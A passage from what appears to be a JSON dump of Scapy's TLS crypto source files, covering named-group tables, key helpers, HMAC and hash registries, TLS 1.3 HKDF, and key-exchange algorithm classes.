\"secp224r1\",\n                     22: \"secp256k1\", 23: \"secp256r1\", 24: \"secp384r1\",\n                     25: \"secp521r1\", 26: \"brainpoolP256r1\",\n                     27: \"brainpoolP384r1\", 28: \"brainpoolP512r1\",\n                     29: \"x25519\", 30: \"x448\",\n                     0xff01: \"arbitrary_explicit_prime_curves\",\n                     0xff02: \"arbitrary_explicit_char2_curves\"}\n\n_tls_post_quantum_hybrid = {\n    # https://www.ietf.org/archive/id/draft-kwiatkowski-tls-ecdhe-mlkem-02.html#name-secp256r1mlkem768\n    0x11EB: \"SecP256r1MLKEM768\",\n    # https://www.ietf.org/archive/id/draft-kwiatkowski-tls-ecdhe-mlkem-02.html#name-x25519mlkem768\n    0x11EC: \"X25519MLKEM768\",\n    # https://www.ietf.org/archive/id/draft-tls-westerbaan-xyber768d00-03.html#name-iana-considerations\n    0x6399: \"X25519Kyber768Draft00\",\n}\n\n_tls_named_groups = {}\n_tls_named_groups.update(_tls_named_ffdh_groups)\n_tls_named_groups.update(_tls_named_curves)\n_tls_named_groups.update(_tls_post_quantum_hybrid)\n\n\ndef _tls_named_groups_import(group, pubbytes):\n    if group in _tls_named_ffdh_groups:\n        # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.1\n        params = _ffdh_groups[_tls_named_ffdh_groups[group]][0]\n        pn = params.parameter_numbers()\n        y = bytes_int(pubbytes)\n        public_numbers = dh.DHPublicNumbers(y, pn)\n        return public_numbers.public_key(default_backend())\n    elif group in _tls_named_curves:\n        # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.2\n        if _tls_named_curves[group] in [\"x25519\", \"x448\"]:\n            if conf.crypto_valid_advanced:\n                if _tls_named_curves[group] == \"x25519\":\n                    import_point = x25519.X25519PublicKey.from_public_bytes\n                else:\n                    import_point = x448.X448PublicKey.from_public_bytes\n                return import_point(pubbytes)\n        else:\n            curve = ec._CURVE_TYPES[_tls_named_curves[group]]\n            try:\n                # cryptography < 42\n                curve = curve()\n            except TypeError:\n                pass\n            try:  # cryptography >= 2.5\n                return ec.EllipticCurvePublicKey.from_encoded_point(\n                    curve,\n                    pubbytes\n                )\n            except AttributeError:\n                pub_num = ec.EllipticCurvePublicNumbers.from_encoded_point(\n                    curve,\n                    pubbytes\n                ).public_numbers()\n                return pub_num.public_key(default_backend())\n\n\ndef _tls_named_groups_pubbytes(privkey):\n    if isinstance(privkey, dh.DHPrivateKey):\n        # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.1\n        pubkey = privkey.public_key()\n        return int_bytes(pubkey.public_numbers().y, privkey.key_size // 8)\n    elif isinstance(privkey, (x25519.X25519PrivateKey,\n                              x448.X448PrivateKey)):\n        # https://datatracker.ietf.org/doc/html/rfc8446#section-4.2.8.2\n        pubkey = privkey.public_key()\n        return pubkey.public_bytes(\n            serialization.Encoding.Raw,\n            serialization.PublicFormat.Raw\n        )\n    else:\n        pubkey = privkey.public_key()\n        try:\n            # cryptography >= 2.5\n            return pubkey.public_bytes(\n                serialization.Encoding.X962,\n                serialization.PublicFormat.UncompressedPoint\n            )\n        except TypeError:\n            # older versions\n            return pubkey.public_numbers().encode_point()\n\n\ndef _tls_named_groups_generate(group):\n    if group in _tls_named_ffdh_groups:\n        params = _ffdh_groups[_tls_named_ffdh_groups[group]][0]\n        return params.generate_private_key()\n    elif group in _tls_named_curves:\n        group_name = _tls_named_curves[group]\n        if group_name in [\"x25519\", \"x448\"]:\n            if conf.crypto_valid_advanced:\n                if group_name == \"x25519\":\n                    return x25519.X25519PrivateKey.generate()\n                else:\n                    return x448.X448PrivateKey.generate()\n            else:\n                warning(\n                    \"Your cryptography version doesn't support \" + group_name\n                )\n        else:\n            curve = ec._CURVE_TYPES[_tls_named_curves[group]]\n            try:\n                # cryptography < 42\n                curve = curve()\n            except TypeError:\n                pass\n            return ec.generate_private_key(curve, default_backend())\n\n# Below lies ghost code since the shift from 'ecdsa' to 'cryptography' lib.\n# Part of the code has been kept, but commented out, in case anyone would like\n# to improve ECC support in 'cryptography' (namely for the compressed point\n# format and additional curves).\n#\n# Recommended curve parameters from www.secg.org/SEC2-Ver-1.0.pdf\n# and www.ecc-brainpool.org/download/Domain-parameters.pdf\n#\n#\n# import math\n#\n# from scapy.utils import long_converter, binrepr\n# from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip\n#\n#\n# def encode_point(point, point_format=0):\n#    \"\"\"\n#    Return a string representation of the Point p, according to point_format.\n#    \"\"\"\n#    pLen = len(binrepr(point.curve().p()))\n#    x = pkcs_i2osp(point.x(), math.ceil(pLen/8))\n#    y = pkcs_i2osp(point.y(), math.ceil(pLen/8))\n#    if point_format == 0:\n#        frmt = b'\\x04'\n#    elif point_format == 1:\n#        frmt = chr(2 + y%2)\n#        y = ''\n#    else:\n#        raise Exception(\"No support for point_format %d\" % point_format)\n#    return frmt + x + y\n#\n#\n# try:\n#    import ecdsa\n#    ecdsa_support = True\n# except ImportError:\n#    import logging\n#    log_loading = logging.getLogger(\"scapy.loading\")\n#    log_loading.info(\"Can't import python ecdsa lib. No curves.\")\n#\n#\n# if ecdsa_support:\n#\n#    from ecdsa.ellipticcurve import CurveFp, Point\n#    from ecdsa.curves import Curve\n#    from ecdsa.numbertheory import square_root_mod_prime\n#\n#\n#    def extract_coordinates(g, curve):\n#        \"\"\"\n#        Return the coordinates x and y as integers,\n#        regardless of the point format of string g.\n#        Second expected parameter is a CurveFp.\n#        \"\"\"\n#        p = curve.p()\n#        point_format = g[0]\n#        point = g[1:]\n#        if point_format == b'\\x04':\n#            point_len = len(point)\n#            if point_len % 2 != 0:\n#                raise Exception(\"Point length is not even.\")\n#            x_bytes = point[:point_len>>1]\n#            x = pkcs_os2ip(x_bytes) % p\n#            y_bytes = point[point_len>>1:]\n#            y = pkcs_os2ip(y_bytes) % p\n#        elif point_format in [b'\\x02', b'\\x03']:\n#            x_bytes = point\n#            x = pkcs_os2ip(x_bytes) % p\n#            # perform the y coordinate computation with self.tls_ec\n#            y_square = (x*x*x + curve.a()*x + curve.b()) % p\n#            y = square_root_mod_prime(y_square, p)\n#            y_parity = ord(point_format) % 2    # \\x02 means even, \\x03 means odd  # noqa: E501\n#            if y % 2 != y_parity:\n#                y = -y % p\n#        else:\n#            raise Exception(\"Point starts with %s. This encoding \"\n#                            \"is not recognized.\" % repr(point_format))\n#        if not curve.contains_point(x, y):\n#            raise Exception(\"The point we extracted does not belong on the curve!\")  # noqa: E501\n#        return x, y\n#\n#    def import_curve(p, a, b, g, r, name=\"dummyName\", oid=(1, 3, 132, 0, 0xff)):  # noqa: E501\n#        \"\"\"\n#        Create an ecdsa.curves.Curve from the usual parameters.\n#        Arguments may be either octet strings or integers,\n#        except g which we expect to be an octet string.\n#        \"\"\"\n#        if isinstance(p, str):\n#            p = pkcs_os2ip(p)\n#        if isinstance(a, str):\n#            a = pkcs_os2ip(a)\n#        if isinstance(b, str):\n#            b = pkcs_os2ip(b)\n#        if isinstance(r, str):\n#            r = pkcs_os2ip(r)\n#        curve = CurveFp(p, a, b)\n#        x, y = extract_coordinates(g, curve)\n#        generator = Point(curve, x, y, r)\n#        return Curve(name, curve, generator, oid)\n\n# Named curves\n\n# We always provide _a as a positive integer.\n\n#    _p          = long_converter(\"\"\"\n#                  ffffffff ffffffff ffffffff fffffffe ffffac73\"\"\")\n#    _a          = 0\n#    _b          = 7\n#    _Gx         = long_converter(\"\"\"\n#                  3b4c382c e37aa192 a4019e76 3036f4f5 dd4d7ebb\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  938cf935 318fdced 6bc28286 531733c3 f03c4fee\"\"\")\n#    _r          = long_converter(\"\"\"01\n#                  00000000 00000000 0001b8fa 16dfab9a ca16b6b3\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    SECP160k1   = Curve(\"SECP160k1\", curve, generator,\n#                        (1, 3, 132, 0, 9), \"secp160k1\")\n\n#    _p          = long_converter(\"\"\"\n#                  ffffffff ffffffff ffffffff ffffffff 7fffffff\"\"\")\n#    _a          = -3 % _p\n#    _b          = long_converter(\"\"\"\n#                  1c97befc 54bd7a8b 65acf89f 81d4d4ad c565fa45\"\"\")\n#    _Gx         = long_converter(\"\"\"\n#                  4a96b568 8ef57328 46646989 68c38bb9 13cbfc82\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  23a62855 3168947d 59dcc912 04235137 7ac5fb32\"\"\")\n#    _r          = long_converter(\"\"\"01\n#                  00000000 00000000 0001f4c8 f927aed3 ca752257\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    SECP160r1   = Curve(\"SECP160r1\", curve, generator,\n#                        (1, 3, 132, 0, 8), \"secp160r1\")\n\n#    _p          = long_converter(\"\"\"\n#                  ffffffff ffffffff ffffffff fffffffe ffffac73\"\"\")\n#    _a          = -3 % _p\n#    _b          = long_converter(\"\"\"\n#                  b4e134d3 fb59eb8b ab572749 04664d5a f50388ba\"\"\")\n#    _Gx         = long_converter(\"\"\"\n#                  52dcb034 293a117e 1f4ff11b 30f7199d 3144ce6d\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  feaffef2 e331f296 e071fa0d f9982cfe a7d43f2e\"\"\")\n#    _r          = long_converter(\"\"\"01\n#                  00000000 00000000 0000351e e786a818 f3a1a16b\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    SECP160r2   = Curve(\"SECP160r2\", curve, generator,\n#                        (1, 3, 132, 0, 30), \"secp160r2\")\n\n#    _p          = long_converter(\"\"\"\n#                  ffffffff ffffffff ffffffff ffffffff fffffffe ffffee37\"\"\")\n#    _a          = 0\n#    _b          = 3\n#    _Gx         = long_converter(\"\"\"\n#                  db4ff10e c057e9ae 26b07d02 80b7f434 1da5d1b1 eae06c7d\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  9b2f2f6d 9c5628a7 844163d0 15be8634 4082aa88 d95e2f9d\"\"\")\n#    _r          = long_converter(\"\"\"\n#                  ffffffff ffffffff fffffffe 26f2fc17 0f69466a 74defd8d\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    SECP192k1   = Curve(\"SECP192k1\", curve, generator,\n#                        (1, 3, 132, 0, 31), \"secp192k1\")\n\n#    _p          = long_converter(\"\"\"\n#                  ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe\n#                  ffffe56d\"\"\")\n#    _a          = 0\n#    _b          = 5\n#    _Gx         = long_converter(\"\"\"\n#                  a1455b33 4df099df 30fc28a1 69a467e9 e47075a9 0f7e650e\n#                  b6b7a45c\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  7e089fed 7fba3442 82cafbd6 f7e319f7 c0b0bd59 e2ca4bdb\n#                  556d61a5\"\"\")\n#    _r          = long_converter(\"\"\"01\n#                  00000000 00000000 00000000 0001dce8 d2ec6184 caf0a971\n#                  769fb1f7\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    SECP224k1   = Curve(\"SECP224k1\", curve, generator,\n#                        (1, 3, 132, 0, 32), \"secp224k1\")\n\n#    _p          = long_converter(\"\"\"\n#                  A9FB57DB A1EEA9BC 3E660A90 9D838D72 6E3BF623 D5262028\n#                  2013481D 1F6E5377\"\"\")\n#    _a          = long_converter(\"\"\"\n#                  7D5A0975 FC2C3057 EEF67530 417AFFE7 FB8055C1 26DC5C6C\n#                  E94A4B44 F330B5D9\"\"\")\n#    _b          = long_converter(\"\"\"\n#                  26DC5C6C E94A4B44 F330B5D9 BBD77CBF 95841629 5CF7E1CE\n#                  6BCCDC18 FF8C07B6\"\"\")\n#    _Gx         = long_converter(\"\"\"\n#                  8BD2AEB9 CB7E57CB 2C4B482F FC81B7AF B9DE27E1 E3BD23C2\n#                  3A4453BD 9ACE3262\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  547EF835 C3DAC4FD 97F8461A 14611DC9 C2774513 2DED8E54\n#                  5C1D54C7 2F046997\"\"\")\n#    _r          = long_converter(\"\"\"\n#                  A9FB57DB A1EEA9BC 3E660A90 9D838D71 8C397AA3 B561A6F7\n#                  901E0E82 974856A7\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    BRNP256r1   = Curve(\"BRNP256r1\", curve, generator,\n#                        (1, 3, 36, 3, 3, 2, 8, 1, 1, 7), \"brainpoolP256r1\")\n\n#    _p          = long_converter(\"\"\"\n#                  8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B4\n#                  12B1DA19 7FB71123 ACD3A729 901D1A71 87470013 3107EC53\"\"\")\n#    _a          = long_converter(\"\"\"\n#                  7BC382C6 3D8C150C 3C72080A CE05AFA0 C2BEA28E 4FB22787\n#                  139165EF BA91F90F 8AA5814A 503AD4EB 04A8C7DD 22CE2826\"\"\")\n#    _b          = long_converter(\"\"\"\n#                  04A8C7DD 22CE2826 8B39B554 16F0447C 2FB77DE1 07DCD2A6\n#                  2E880EA5 3EEB62D5 7CB43902 95DBC994 3AB78696 FA504C11\"\"\")\n#    _Gx         = long_converter(\"\"\"\n#                  1D1C64F0 68CF45FF A2A63A81 B7C13F6B 8847A3E7 7EF14FE3\n#                  DB7FCAFE 0CBD10E8 E826E034 36D646AA EF87B2E2 47D4AF1E\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  8ABE1D75 20F9C2A4 5CB1EB8E 95CFD552 62B70B29 FEEC5864\n#                  E19C054F F9912928 0E464621 77918111 42820341 263C5315\"\"\")\n#    _r          = long_converter(\"\"\"\n#                  8CB91E82 A3386D28 0F5D6F7E 50E641DF 152F7109 ED5456B3\n#                  1F166E6C AC0425A7 CF3AB6AF 6B7FC310 3B883202 E9046565\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    BRNP384r1   = Curve(\"BRNP384r1\", curve, generator,\n#                        (1, 3, 36, 3, 3, 2, 8, 1, 1, 11), \"brainpoolP384r1\")\n\n#    _p          = long_converter(\"\"\"\n#                  AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E\n#                  D6639CCA 70330871 7D4D9B00 9BC66842 AECDA12A E6A380E6\n#                  2881FF2F 2D82C685 28AA6056 583A48F3\"\"\")\n#    _a          = long_converter(\"\"\"\n#                  7830A331 8B603B89 E2327145 AC234CC5 94CBDD8D 3DF91610\n#                  A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9 8B9AC8B5\n#                  7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA\"\"\")\n#    _b          = long_converter(\"\"\"\n#                  3DF91610 A83441CA EA9863BC 2DED5D5A A8253AA1 0A2EF1C9\n#                  8B9AC8B5 7F1117A7 2BF2C7B9 E7C1AC4D 77FC94CA DC083E67\n#                  984050B7 5EBAE5DD 2809BD63 8016F723\"\"\")\n#    _Gx         = long_converter(\"\"\"\n#                  81AEE4BD D82ED964 5A21322E 9C4C6A93 85ED9F70 B5D916C1\n#                  B43B62EE F4D0098E FF3B1F78 E2D0D48D 50D1687B 93B97D5F\n#                  7C6D5047 406A5E68 8B352209 BCB9F822\"\"\")\n#    _Gy         = long_converter(\"\"\"\n#                  7DDE385D 566332EC C0EABFA9 CF7822FD F209F700 24A57B1A\n#                  A000C55B 881F8111 B2DCDE49 4A5F485E 5BCA4BD8 8A2763AE\n#                  D1CA2B2F A8F05406 78CD1E0F 3AD80892\"\"\")\n#    _r          = long_converter(\"\"\"\n#                  AADD9DB8 DBE9C48B 3FD4E6AE 33C9FC07 CB308DB3 B3C9D20E\n#                  D6639CCA 70330870 553E5C41 4CA92619 41866119 7FAC1047\n#                  1DB1D381 085DDADD B5879682 9CA90069\"\"\")\n#    curve       = CurveFp(_p, _a, _b)\n#    generator   = Point(curve, _Gx, _Gy, _r)\n#    BRNP512r1   = Curve(\"BRNP512r1\", curve, generator,\n#                        (1, 3, 36, 3, 3, 2, 8, 1, 1, 13), \"brainpoolP512r1\")\n"
  },
  {
    "path": "scapy/layers/tls/crypto/h_mac.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016 Maxence Tury\n\n\"\"\"\nHMAC classes.\n\"\"\"\n\nimport hmac\n\nfrom scapy.layers.tls.crypto.hash import _tls_hash_algs\nfrom scapy.compat import bytes_encode\n\n_SSLv3_PAD1_MD5 = b\"\\x36\" * 48\n_SSLv3_PAD1_SHA1 = b\"\\x36\" * 40\n_SSLv3_PAD2_MD5 = b\"\\x5c\" * 48\n_SSLv3_PAD2_SHA1 = b\"\\x5c\" * 40\n\n_tls_hmac_algs = {}\n\n\nclass _GenericHMACMetaclass(type):\n    \"\"\"\n    HMAC classes are automatically registered through this metaclass.\n    Furthermore, their name attribute is extracted from their class name.\n\n    Note that, when used with TLS, the HMAC key length equates the output of\n    the associated hash function (see RFC 5246, appendix C).\n    Also, we do not need to instantiate the associated hash function.\n    \"\"\"\n    def __new__(cls, hmac_name, bases, dct):\n        hash_name = hmac_name[5:]               # remove leading \"Hmac_\"\n        if hmac_name != \"_GenericHMAC\":\n            dct[\"name\"] = \"HMAC-%s\" % hash_name\n            dct[\"hash_alg\"] = _tls_hash_algs[hash_name]\n            dct[\"hmac_len\"] = _tls_hash_algs[hash_name].hash_len\n            dct[\"key_len\"] = dct[\"hmac_len\"]\n        the_class = super(_GenericHMACMetaclass, cls).__new__(cls, hmac_name,\n                                                              bases, dct)\n        if hmac_name != \"_GenericHMAC\":\n            _tls_hmac_algs[dct[\"name\"]] = the_class\n        return the_class\n\n\nclass HMACError(Exception):\n    \"\"\"\n    Raised when HMAC verification fails.\n    \"\"\"\n    pass\n\n\nclass _GenericHMAC(metaclass=_GenericHMACMetaclass):\n    def __init__(self, key=None):\n        if key is None:\n            self.key = b\"\"\n        else:\n            self.key = bytes_encode(key)\n\n    def digest(self, tbd):\n        if self.key is None:\n            raise HMACError\n        tbd = bytes_encode(tbd)\n        return hmac.new(self.key, tbd, self.hash_alg.hash_cls).digest()\n\n    def digest_sslv3(self, tbd):\n        if self.key is None:\n            raise HMACError\n\n        h = self.hash_alg()\n        if h.name == \"SHA\":\n            pad1 = _SSLv3_PAD1_SHA1\n            pad2 = _SSLv3_PAD2_SHA1\n        elif h.name == \"MD5\":\n            pad1 = _SSLv3_PAD1_MD5\n            pad2 = _SSLv3_PAD2_MD5\n        else:\n            raise HMACError(\"Provided hash does not work with SSLv3.\")\n\n        return h.digest(self.key + pad2 +\n                        h.digest(self.key + pad1 + tbd))\n\n\nclass Hmac_NULL(_GenericHMAC):\n    hmac_len = 0\n    key_len = 0\n\n    def digest(self, tbd):\n        return b\"\"\n\n    def digest_sslv3(self, tbd):\n        return b\"\"\n\n\nclass Hmac_MD4(_GenericHMAC):\n    pass\n\n\nclass Hmac_MD5(_GenericHMAC):\n    pass\n\n\nclass Hmac_SHA(_GenericHMAC):\n    pass\n\n\nclass Hmac_SHA224(_GenericHMAC):\n    pass\n\n\nclass Hmac_SHA256(_GenericHMAC):\n    pass\n\n\nclass Hmac_SHA384(_GenericHMAC):\n    pass\n\n\nclass Hmac_SHA512(_GenericHMAC):\n    pass\n\n\ndef Hmac(key, hashtype):\n    \"\"\"\n    Return Hmac object from Hash object and key\n    \"\"\"\n    return _tls_hmac_algs[f\"HMAC-{hashtype.name}\"](key=key)\n"
  },
  {
    "path": "scapy/layers/tls/crypto/hash.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016 Maxence Tury\n\n\"\"\"\nHash classes.\n\"\"\"\n\nfrom hashlib import md5, sha1, sha224, sha256, sha384, sha512\nfrom scapy.layers.tls.crypto.md4 import MD4 as md4\n\n\n_tls_hash_algs = {}\n\n\nclass _GenericHashMetaclass(type):\n    \"\"\"\n    Hash classes are automatically registered through this metaclass.\n    Furthermore, their name attribute is extracted from their class name.\n    \"\"\"\n    def __new__(cls, hash_name, bases, dct):\n        if hash_name != \"_GenericHash\":\n            dct[\"name\"] = hash_name[5:]     # remove leading \"Hash_\"\n        the_class = super(_GenericHashMetaclass, cls).__new__(cls, hash_name,\n                                                              bases, dct)\n        if hash_name != \"_GenericHash\":\n            _tls_hash_algs[hash_name[5:]] = the_class\n        return the_class\n\n\nclass _GenericHash(metaclass=_GenericHashMetaclass):\n    def digest(self, tbd):\n        return self.hash_cls(tbd).digest()\n\n\nclass Hash_NULL(_GenericHash):\n    hash_len = 0\n\n    def digest(self, tbd):\n        return b\"\"\n\n\nclass Hash_MD4(_GenericHash):\n    hash_cls = md4\n    hash_len = 16\n\n\nclass Hash_MD5(_GenericHash):\n    hash_cls = md5\n    hash_len = 16\n\n\nclass Hash_SHA(_GenericHash):\n    hash_cls = sha1\n    hash_len = 20\n\n\nclass Hash_SHA224(_GenericHash):\n    hash_cls = sha224\n    hash_len = 28\n\n\nclass Hash_SHA256(_GenericHash):\n    hash_cls = sha256\n    hash_len = 32\n\n\nclass Hash_SHA384(_GenericHash):\n    hash_cls = sha384\n    hash_len = 48\n\n\nclass Hash_SHA512(_GenericHash):\n    hash_cls = sha512\n    hash_len = 64\n"
  },
  {
    "path": "scapy/layers/tls/crypto/hkdf.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Maxence Tury\n\n\"\"\"\nStateless HKDF for TLS 1.3.\n\"\"\"\n\nimport struct\n\nfrom scapy.config import conf, crypto_validator\nfrom scapy.layers.tls.crypto.pkcs1 import _get_hash\n\nif conf.crypto_valid:\n    from cryptography.hazmat.backends import default_backend\n    from cryptography.hazmat.primitives.kdf.hkdf import HKDF, HKDFExpand\n    from cryptography.hazmat.primitives.hashes import Hash\n    from cryptography.hazmat.primitives.hmac import HMAC\n\n\nclass TLS13_HKDF(object):\n    @crypto_validator\n    def __init__(self, hash_name=\"sha256\"):\n        self.hash = _get_hash(hash_name)\n\n    @crypto_validator\n    def extract(self, salt, ikm):\n        h = self.hash\n        if ikm is None:\n            ikm = b\"\\x00\" * h.digest_size\n        # cryptography 47.0.0 added this as a public API\n        if getattr(HKDF, \"extract\", None) is not None:\n            return HKDF.extract(h, salt, ikm)\n        else:\n            hkdf = HKDF(h, h.digest_size, salt, None, default_backend())\n            return hkdf._extract(ikm)\n\n    @crypto_validator\n    def expand(self, prk, info, L):\n        h = self.hash\n        hkdf = HKDFExpand(h, L, info, default_backend())\n        return hkdf.derive(prk)\n\n    @crypto_validator\n    def expand_label(self, secret, label, hash_value, length):\n        hkdf_label = struct.pack(\"!H\", length)\n        hkdf_label += struct.pack(\"B\", 6 + len(label))\n        hkdf_label += b\"tls13 \"\n        hkdf_label += label\n        hkdf_label += struct.pack(\"B\", len(hash_value))\n        hkdf_label += hash_value\n        return self.expand(secret, hkdf_label, length)\n\n    @crypto_validator\n    def derive_secret(self, secret, label, messages):\n        h = Hash(self.hash, backend=default_backend())\n        h.update(messages)\n        hash_messages = h.finalize()\n        hash_len = self.hash.digest_size\n        return self.expand_label(secret, label, hash_messages, hash_len)\n\n    @crypto_validator\n    def compute_verify_data(self, basekey, handshake_context):\n        hash_len = self.hash.digest_size\n        finished_key = self.expand_label(basekey, b\"finished\", b\"\", hash_len)\n\n        h = Hash(self.hash, backend=default_backend())\n        h.update(handshake_context)\n        hash_value = h.finalize()\n\n        hm = HMAC(finished_key, self.hash, default_backend())\n        hm.update(hash_value)\n        return hm.finalize()\n"
  },
  {
    "path": "scapy/layers/tls/crypto/kx_algs.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nKey Exchange algorithms as listed in appendix C of RFC 4346.\n\nXXX No support yet for PSK (also, no static DH, DSS, SRP or KRB).\n\"\"\"\n\nfrom scapy.layers.tls.keyexchange import (ServerDHParams,\n                                          ServerRSAParams,\n                                          ClientDiffieHellmanPublic,\n                                          ClientECDiffieHellmanPublic,\n                                          _tls_server_ecdh_cls_guess,\n                                          EncryptedPreMasterSecret)\n\n\n_tls_kx_algs = {}\n\n\nclass _GenericKXMetaclass(type):\n    \"\"\"\n    We could try to set server_kx_msg and client_kx_msg while parsing\n    the class name... :)\n    \"\"\"\n    def __new__(cls, kx_name, bases, dct):\n        if kx_name != \"_GenericKX\":\n            dct[\"name\"] = kx_name[3:]       # remove leading \"KX_\"\n        the_class = super(_GenericKXMetaclass, cls).__new__(cls, kx_name,\n                                                            bases, dct)\n        if kx_name != \"_GenericKX\":\n            the_class.export = kx_name.endswith(\"_EXPORT\")\n            the_class.anonymous = \"_anon\" in kx_name\n            the_class.no_ske = not (\"DHE\" in kx_name or \"_anon\" in kx_name)\n            the_class.no_ske &= not the_class.export\n            _tls_kx_algs[kx_name[3:]] = the_class\n        return the_class\n\n\nclass _GenericKX(metaclass=_GenericKXMetaclass):\n    pass\n\n\nclass KX_NULL(_GenericKX):\n    descr = \"No key exchange\"\n    server_kx_msg_cls = lambda _, m: None\n    client_kx_msg_cls = None\n\n\nclass KX_SSLv2(_GenericKX):\n    descr = \"SSLv2 dummy key exchange class\"\n    server_kx_msg_cls = lambda _, m: None\n    client_kx_msg_cls = None\n\n\nclass KX_TLS13(_GenericKX):\n    descr = \"TLS 1.3 dummy key exchange class\"\n    server_kx_msg_cls = lambda _, m: None\n    client_kx_msg_cls = None\n\n\n# Standard RSA-authenticated key exchange\n\nclass KX_RSA(_GenericKX):\n    descr = \"RSA encryption\"\n    server_kx_msg_cls = lambda _, m: None\n    client_kx_msg_cls = EncryptedPreMasterSecret\n\n# class KX_DH_RSA(_GenericKX):\n#    descr = \"DH with RSA-based certificates\"\n#    server_kx_msg_cls = lambda _,m: None\n#    client_kx_msg_cls = None\n\n\nclass KX_DHE_RSA(_GenericKX):\n    descr = \"Ephemeral DH with RSA signature\"\n    server_kx_msg_cls = lambda _, m: ServerDHParams\n    client_kx_msg_cls = ClientDiffieHellmanPublic\n\n# class KX_ECDH_RSA(_GenericKX):\n#     descr = \"ECDH RSA key exchange\"\n#     server_kx_msg_cls = lambda _,m: None\n#     client_kx_msg_cls = None\n\n\nclass KX_ECDHE_RSA(_GenericKX):\n    descr = \"Ephemeral ECDH with RSA signature\"\n    server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m)\n    client_kx_msg_cls = ClientECDiffieHellmanPublic\n\n\nclass KX_RSA_EXPORT(KX_RSA):\n    descr = \"RSA encryption, export version\"\n    server_kx_msg_cls = lambda _, m: ServerRSAParams\n\n# class KX_DH_RSA_EXPORT(KX_DH_RSA):\n#    descr = \"DH with RSA-based certificates - Export version\"\n\n\nclass KX_DHE_RSA_EXPORT(KX_DHE_RSA):\n    descr = \"Ephemeral DH with RSA signature, export version\"\n\n\n# Standard ECDSA-authenticated key exchange\n\n# class KX_ECDH_ECDSA(_GenericKX):\n#     descr = \"ECDH ECDSA key exchange\"\n#     server_kx_msg_cls = lambda _,m: None\n#     client_kx_msg_cls = None\n\nclass KX_ECDHE_ECDSA(_GenericKX):\n    descr = \"Ephemeral ECDH with ECDSA signature\"\n    server_kx_msg_cls = lambda _, m: _tls_server_ecdh_cls_guess(m)\n    client_kx_msg_cls = ClientECDiffieHellmanPublic\n\n\n# Classes below are offered without any guarantee.\n# They may offer some parsing capabilities,\n# but surely won't be able to handle a proper TLS negotiation.\n# Uncomment them at your own risk.\n\n# Standard DSS-authenticated key exchange\n\n# class KX_DH_DSS(_GenericKX):\n#     descr = \"DH with DSS-based certificates\"\n#     server_kx_msg_cls = lambda _,m: ServerDHParams\n#     client_kx_msg_cls = ClientDiffieHellmanPublic\n\n# class KX_DHE_DSS(_GenericKX):\n#    descr = \"Ephemeral DH with DSS signature\"\n#    server_kx_msg_cls = lambda _,m: ServerDHParams\n#    client_kx_msg_cls = ClientDiffieHellmanPublic\n\n# class KX_DH_DSS_EXPORT(KX_DH_DSS):\n#     descr = \"DH with DSS-based certificates - Export version\"\n\n# class KX_DHE_DSS_EXPORT(KX_DHE_DSS):\n#    descr = \"Ephemeral DH with DSS signature, export version\"\n\n\n# PSK-based key exchange\n\n# class KX_PSK(_GenericKX): # RFC 4279\n#     descr = \"PSK key exchange\"\n#     server_kx_msg_cls = lambda _,m: ServerPSKParams\n#     client_kx_msg_cls = None\n\n# class KX_RSA_PSK(_GenericKX): # RFC 4279\n#     descr = \"RSA PSK key exchange\"\n#     server_kx_msg_cls = lambda _,m: ServerPSKParams\n#     client_kx_msg_cls = None\n\n# class KX_DHE_PSK(_GenericKX): # RFC 4279\n#     descr = \"Ephemeral DH with PSK key exchange\"\n#     server_kx_msg_cls = lambda _,m: ServerPSKParams\n#     client_kx_msg_cls = ClientDiffieHellmanPublic\n\n# class KX_ECDHE_PSK(_GenericKX): # RFC 5489\n#     descr = \"Ephemeral ECDH PSK key exchange\"\n#     server_kx_msg_cls = lambda _,m: _tls_server_ecdh_cls_guess(m)\n#     client_kx_msg_cls = ClientDiffieHellmanPublic\n\n\n# SRP-based key exchange\n\n#\n\n\n# Kerberos-based key exchange\n\n# class KX_KRB5(_GenericKX):\n#     descr = \"Kerberos 5 key exchange\"\n#     server_kx_msg_cls = lambda 